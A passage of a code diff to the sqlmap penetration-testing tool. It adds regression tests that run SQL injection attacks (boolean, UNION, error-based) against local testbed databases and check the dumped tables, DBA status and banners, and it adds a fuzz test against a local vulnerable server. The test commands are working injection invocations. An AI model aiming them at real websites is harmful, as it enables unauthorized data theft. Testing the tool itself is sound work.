("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
random.sample = _sample
|
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
random.seed = _seed
|
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "7.1.36-stable", "current database: 'testdb'", "current user: 'root'", "[1 column]", "| surname | VARCHAR |")),
|
||||||
|
|
||||||
|
# Firebird
|
||||||
|
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "possible DBMS: 'Firebird'", "the back-end DBMS is Firebird", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Firebird", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'", ("banner: '2.5", "current user: 'SYSDBA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
|
# H2
|
||||||
|
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'H2'", "the back-end DBMS is H2", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is H2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current database (equivalent to schema on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
|
# HSQLDB
|
||||||
|
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'HSQLDB'", "the back-end DBMS is HSQLDB", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is HSQLDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current database (equivalent to schema on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
|
# IBM DB2
|
||||||
|
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current database (equivalent to owner on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")),
|
||||||
|
|
||||||
|
# MariaDB
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "10.4.12-MariaDB-1:10.4.12+maria~bionic", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
|
||||||
|
|
||||||
|
# MySQL
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.1 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "8.0.19", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
|
||||||
|
|
||||||
|
# PostgreSQL
|
||||||
|
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
|
||||||
|
)
|
||||||
|
|
||||||
|
retVal = True
|
||||||
|
count = 0
|
||||||
|
|
||||||
|
for options, checks in TESTS:
|
||||||
|
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||||
|
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||||
|
|
||||||
|
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
|
||||||
|
output = shellExec(cmd)
|
||||||
|
|
||||||
|
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
|
||||||
|
for check in checks:
|
||||||
|
if check not in output:
|
||||||
|
print(cmd, check)
|
||||||
|
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||||
|
dataToStdout("%s---\n" % clearColors(output))
|
||||||
|
retVal = False
|
||||||
|
|
||||||
|
count += 1
|
||||||
|
|
||||||
|
clearConsoleLine()
|
||||||
|
if retVal:
|
||||||
|
logger.info("bed test final result: PASSED")
|
||||||
|
else:
|
||||||
|
logger.error("best test final result: FAILED")
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
|
def fuzzTest():
|
||||||
|
count = 0
|
||||||
|
address, port = "127.0.0.10", random.randint(1025, 65535)
|
||||||
|
|
||||||
|
def _thread():
|
||||||
|
vulnserver.init(quiet=True)
|
||||||
|
vulnserver.run(address=address, port=port)
|
||||||
|
|
||||||
|
thread = threading.Thread(target=_thread)
|
||||||
|
thread.daemon = True
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
while True:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
s.connect((address, port))
|
||||||
|
break
|
||||||
|
except:
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
handle, config = tempfile.mkstemp(suffix=".conf")
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
|
url = "http://%s:%d/?id=1" % (address, port)
|
||||||
|
|
||||||
|
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
|
||||||
|
open(config, "w+").write(content)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
lines = content.split("\n")
|
||||||
|
|
||||||
|
for i in xrange(20):
|
||||||
|
j = random.randint(0, len(lines) - 1)
|
||||||
|
|
||||||
|
if any(_ in lines[j] for _ in ("googleDork",)):
|
||||||
|
continue
|
||||||
|
|
||||||
|
if lines[j].strip().endswith('='):
|
||||||
|
lines[j] += random.sample(("True", "False", randomStr(), str(randomInt())), 1)[0]
|
||||||
|
|
||||||
|
k = random.randint(0, len(lines) - 1)
|
||||||
|
if '=' in lines[k]:
|
||||||
|
lines[k] += chr(random.randint(0, 255))
|
||||||
|
|
||||||
|
open(config, "w+").write("\n".join(lines))
|
||||||
|
|
||||||
|
cmd = "%s %s -c %s --non-interactive --answers='Github=n' --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0])
|
||||||
|
output = shellExec(cmd)
|
||||||
|
|
||||||
|
if "Traceback" in output:
|
||||||
|
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||||
|
dataToStdout("%s---\n" % clearColors(output))
|
||||||
|
|
||||||
|
handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
|
||||||
|
os.close(handle)
|
||||||
|
open(config, "w+").write("\n".join(lines))
|
||||||
|
else:
|
||||||
|
dataToStdout("\r%d\r" % count)
|
||||||
|
|
||||||
|
count += 1
|
||||||
|
|
||||||
def smokeTest():
|
def smokeTest():
|
||||||
"""
|
"""
|
||||||
Runs the basic smoke testing of a program
|
Runs the basic smoke testing of a program
|
||||||
"""
|
"""
|
||||||
|
|
||||||
dirtyPatchRandom()
|
unisonRandom()
|
||||||
|
|
||||||
|
content = open(paths.ERRORS_XML, "r").read()
|
||||||
|
for regex in re.findall(r'<error regexp="(.+?)"/>', content):
|
||||||
|
try:
|
||||||
|
re.compile(regex)
|
||||||
|
except re.error:
|
||||||
|
errMsg = "smoke test failed at compiling '%s'" % regex
|
||||||
|
logger.error(errMsg)
|
||||||
|
return False
|
||||||
|
|
||||||
retVal = True
|
retVal = True
|
||||||
count, length = 0, 0
|
count, length = 0, 0
|
||||||
@@ -156,7 +339,7 @@ def smokeTest():
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
for filename in files:
|
for filename in files:
|
||||||
if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
|
if os.path.splitext(filename)[1].lower() == ".py" and filename not in ("__init__.py", "gui.py"):
|
||||||
path = os.path.join(root, os.path.splitext(filename)[0])
|
path = os.path.join(root, os.path.splitext(filename)[0])
|
||||||
path = path.replace(paths.SQLMAP_ROOT_PATH, '.')
|
path = path.replace(paths.SQLMAP_ROOT_PATH, '.')
|
||||||
path = path.replace(os.sep, '.').lstrip('.')
|
path = path.replace(os.sep, '.').lstrip('.')
|
||||||
@@ -212,233 +395,3 @@ def smokeTest():
|
|||||||
logger.error("smoke test final result: FAILED")
|
logger.error("smoke test final result: FAILED")
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def adjustValueType(tagName, value):
|
|
||||||
for family in optDict:
|
|
||||||
for name, type_ in optDict[family].items():
|
|
||||||
if type(type_) == tuple:
|
|
||||||
type_ = type_[0]
|
|
||||||
if tagName == name:
|
|
||||||
if type_ == "boolean":
|
|
||||||
value = (value == "True")
|
|
||||||
elif type_ == "integer":
|
|
||||||
value = int(value)
|
|
||||||
elif type_ == "float":
|
|
||||||
value = float(value)
|
|
||||||
break
|
|
||||||
return value
|
|
||||||
|
|
||||||
def liveTest():
|
|
||||||
"""
|
|
||||||
Runs the test of a program against the live testing environment
|
|
||||||
"""
|
|
||||||
|
|
||||||
retVal = True
|
|
||||||
count = 0
|
|
||||||
global_ = {}
|
|
||||||
vars_ = {}
|
|
||||||
|
|
||||||
livetests = readXmlFile(paths.LIVE_TESTS_XML)
|
|
||||||
length = len(livetests.getElementsByTagName("case"))
|
|
||||||
|
|
||||||
element = livetests.getElementsByTagName("global")
|
|
||||||
if element:
|
|
||||||
for item in element:
|
|
||||||
for child in item.childNodes:
|
|
||||||
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
|
|
||||||
global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value"))
|
|
||||||
|
|
||||||
element = livetests.getElementsByTagName("vars")
|
|
||||||
if element:
|
|
||||||
for item in element:
|
|
||||||
for child in item.childNodes:
|
|
||||||
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
|
|
||||||
var = child.getAttribute("value")
|
|
||||||
vars_[child.tagName] = randomStr(6) if var == "random" else var
|
|
||||||
|
|
||||||
for case in livetests.getElementsByTagName("case"):
|
|
||||||
parse_from_console_output = False
|
|
||||||
count += 1
|
|
||||||
name = None
|
|
||||||
parse = []
|
|
||||||
switches = dict(global_)
|
|
||||||
value = ""
|
|
||||||
vulnerable = True
|
|
||||||
result = None
|
|
||||||
|
|
||||||
if case.hasAttribute("name"):
|
|
||||||
name = case.getAttribute("name")
|
|
||||||
|
|
||||||
if conf.runCase and ((conf.runCase.isdigit() and conf.runCase != count) or not re.search(conf.runCase, name, re.DOTALL)):
|
|
||||||
continue
|
|
||||||
|
|
||||||
if case.getElementsByTagName("switches"):
|
|
||||||
for child in case.getElementsByTagName("switches")[0].childNodes:
|
|
||||||
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
|
|
||||||
value = replaceVars(child.getAttribute("value"), vars_)
|
|
||||||
switches[child.tagName] = adjustValueType(child.tagName, value)
|
|
||||||
|
|
||||||
if case.getElementsByTagName("parse"):
|
|
||||||
for item in case.getElementsByTagName("parse")[0].getElementsByTagName("item"):
|
|
||||||
if item.hasAttribute("value"):
|
|
||||||
value = replaceVars(item.getAttribute("value"), vars_)
|
|
||||||
|
|
||||||
if item.hasAttribute("console_output"):
|
|
||||||
parse_from_console_output = bool(item.getAttribute("console_output"))
|
|
||||||
|
|
||||||
parse.append((value, parse_from_console_output))
|
|
||||||
|
|
||||||
conf.verbose = global_.get("verbose", 1)
|
|
||||||
setVerbosity()
|
|
||||||
|
|
||||||
msg = "running live test case: %s (%d/%d)" % (name, count, length)
|
|
||||||
logger.info(msg)
|
|
||||||
|
|
||||||
initCase(switches, count)
|
|
||||||
|
|
||||||
test_case_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "test_case"), "wb", UNICODE_ENCODING)
|
|
||||||
test_case_fd.write("%s\n" % name)
|
|
||||||
|
|
||||||
try:
|
|
||||||
result = runCase(parse)
|
|
||||||
except SqlmapNotVulnerableException:
|
|
||||||
vulnerable = False
|
|
||||||
finally:
|
|
||||||
conf.verbose = global_.get("verbose", 1)
|
|
||||||
setVerbosity()
|
|
||||||
|
|
||||||
if result is True:
|
|
||||||
logger.info("test passed")
|
|
||||||
cleanCase()
|
|
||||||
else:
|
|
||||||
errMsg = "test failed"
|
|
||||||
|
|
||||||
if _failures.failedItems:
|
|
||||||
errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems)
|
|
||||||
|
|
||||||
errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH
|
|
||||||
errMsg += " - traceback: %s" % bool(_failures.failedTraceBack)
|
|
||||||
|
|
||||||
if not vulnerable:
|
|
||||||
errMsg += " - SQL injection not detected"
|
|
||||||
|
|
||||||
logger.error(errMsg)
|
|
||||||
test_case_fd.write("%s\n" % errMsg)
|
|
||||||
|
|
||||||
if _failures.failedParseOn:
|
|
||||||
console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING)
|
|
||||||
console_output_fd.write(_failures.failedParseOn)
|
|
||||||
console_output_fd.close()
|
|
||||||
|
|
||||||
if _failures.failedTraceBack:
|
|
||||||
traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING)
|
|
||||||
traceback_fd.write(_failures.failedTraceBack)
|
|
||||||
traceback_fd.close()
|
|
||||||
|
|
||||||
beep()
|
|
||||||
|
|
||||||
if conf.stopFail is True:
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
test_case_fd.close()
|
|
||||||
retVal &= bool(result)
|
|
||||||
|
|
||||||
dataToStdout("\n")
|
|
||||||
|
|
||||||
if retVal:
|
|
||||||
logger.info("live test final result: PASSED")
|
|
||||||
else:
|
|
||||||
logger.error("live test final result: FAILED")
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
def initCase(switches, count):
|
|
||||||
_failures.failedItems = []
|
|
||||||
_failures.failedParseOn = None
|
|
||||||
_failures.failedTraceBack = None
|
|
||||||
|
|
||||||
paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count))
|
|
||||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
|
||||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
|
||||||
|
|
||||||
logger.debug("using output directory '%s' for this test case" % paths.SQLMAP_OUTPUT_PATH)
|
|
||||||
|
|
||||||
LOGGER_HANDLER.stream = sys.stdout = tempfile.SpooledTemporaryFile(max_size=0, mode="w+b", prefix="sqlmapstdout-")
|
|
||||||
|
|
||||||
cmdLineOptions = cmdLineParser()
|
|
||||||
|
|
||||||
if switches:
|
|
||||||
for key, value in switches.items():
|
|
||||||
if key in cmdLineOptions.__dict__:
|
|
||||||
cmdLineOptions.__dict__[key] = value
|
|
||||||
|
|
||||||
initOptions(cmdLineOptions, True)
|
|
||||||
init()
|
|
||||||
|
|
||||||
def cleanCase():
|
|
||||||
shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True)
|
|
||||||
|
|
||||||
def runCase(parse):
|
|
||||||
retVal = True
|
|
||||||
handled_exception = None
|
|
||||||
unhandled_exception = None
|
|
||||||
result = False
|
|
||||||
console = ""
|
|
||||||
|
|
||||||
try:
|
|
||||||
result = start()
|
|
||||||
except KeyboardInterrupt:
|
|
||||||
pass
|
|
||||||
except SqlmapBaseException as ex:
|
|
||||||
handled_exception = ex
|
|
||||||
except Exception as ex:
|
|
||||||
unhandled_exception = ex
|
|
||||||
finally:
|
|
||||||
sys.stdout.seek(0)
|
|
||||||
console = sys.stdout.read()
|
|
||||||
LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__
|
|
||||||
|
|
||||||
if unhandled_exception:
|
|
||||||
_failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
|
|
||||||
retVal = None
|
|
||||||
elif handled_exception:
|
|
||||||
_failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
|
|
||||||
retVal = None
|
|
||||||
elif result is False: # this means no SQL injection has been detected - if None, ignore
|
|
||||||
retVal = False
|
|
||||||
|
|
||||||
console = getUnicode(console, encoding=sys.stdin.encoding)
|
|
||||||
|
|
||||||
if parse and retVal:
|
|
||||||
with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f:
|
|
||||||
content = f.read()
|
|
||||||
|
|
||||||
for item, parse_from_console_output in parse:
|
|
||||||
parse_on = console if parse_from_console_output else content
|
|
||||||
|
|
||||||
if item.startswith("r'") and item.endswith("'"):
|
|
||||||
if not re.search(item[2:-1], parse_on, re.DOTALL):
|
|
||||||
retVal = None
|
|
||||||
_failures.failedItems.append(item)
|
|
||||||
|
|
||||||
elif item not in parse_on:
|
|
||||||
retVal = None
|
|
||||||
_failures.failedItems.append(item)
|
|
||||||
|
|
||||||
if _failures.failedItems:
|
|
||||||
_failures.failedParseOn = console
|
|
||||||
|
|
||||||
elif retVal is False:
|
|
||||||
_failures.failedParseOn = console
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
def replaceVars(item, vars_):
|
|
||||||
retVal = item
|
|
||||||
|
|
||||||
if item and vars_:
|
|
||||||
for var in re.findall(r"\$\{([^}]+)\}", item):
|
|
||||||
if var in vars_:
|
|
||||||
retVal = retVal.replace("${%s}" % var, vars_[var])
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -73,6 +73,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
|||||||
# It will be overwritten by original from lib.core.common
|
# It will be overwritten by original from lib.core.common
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
def isDigit(value):
|
||||||
|
# It will be overwritten by original from lib.core.common
|
||||||
|
pass
|
||||||
|
|
||||||
def getCurrentThreadData():
|
def getCurrentThreadData():
|
||||||
"""
|
"""
|
||||||
Returns current thread's local data
|
Returns current thread's local data
|
||||||
@@ -119,16 +123,18 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
|||||||
kb.threadException = False
|
kb.threadException = False
|
||||||
kb.technique = ThreadData.technique
|
kb.technique = ThreadData.technique
|
||||||
|
|
||||||
if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
|
if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
|
||||||
while True:
|
while True:
|
||||||
message = "please enter number of threads? [Enter for %d (current)] " % numThreads
|
message = "please enter number of threads? [Enter for %d (current)] " % numThreads
|
||||||
choice = readInput(message, default=str(numThreads))
|
choice = readInput(message, default=str(numThreads))
|
||||||
if choice:
|
if choice:
|
||||||
skipThreadCheck = False
|
skipThreadCheck = False
|
||||||
|
|
||||||
if choice.endswith('!'):
|
if choice.endswith('!'):
|
||||||
choice = choice[:-1]
|
choice = choice[:-1]
|
||||||
skipThreadCheck = True
|
skipThreadCheck = True
|
||||||
if choice.isdigit():
|
|
||||||
|
if isDigit(choice):
|
||||||
if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck:
|
if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck:
|
||||||
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
|
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
@@ -169,7 +175,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
|||||||
while alive:
|
while alive:
|
||||||
alive = False
|
alive = False
|
||||||
for thread in threads:
|
for thread in threads:
|
||||||
if thread.isAlive():
|
if thread.is_alive():
|
||||||
alive = True
|
alive = True
|
||||||
time.sleep(0.1)
|
time.sleep(0.1)
|
||||||
|
|
||||||
@@ -179,6 +185,12 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
|||||||
kb.threadContinue = False
|
kb.threadContinue = False
|
||||||
kb.threadException = True
|
kb.threadException = True
|
||||||
|
|
||||||
|
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
|
||||||
|
kb.multipleCtrlC = True
|
||||||
|
raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
|
||||||
|
|
||||||
|
kb.lastCtrlCTime = time.time()
|
||||||
|
|
||||||
if numThreads > 1:
|
if numThreads > 1:
|
||||||
logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
|
logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
|
||||||
try:
|
try:
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
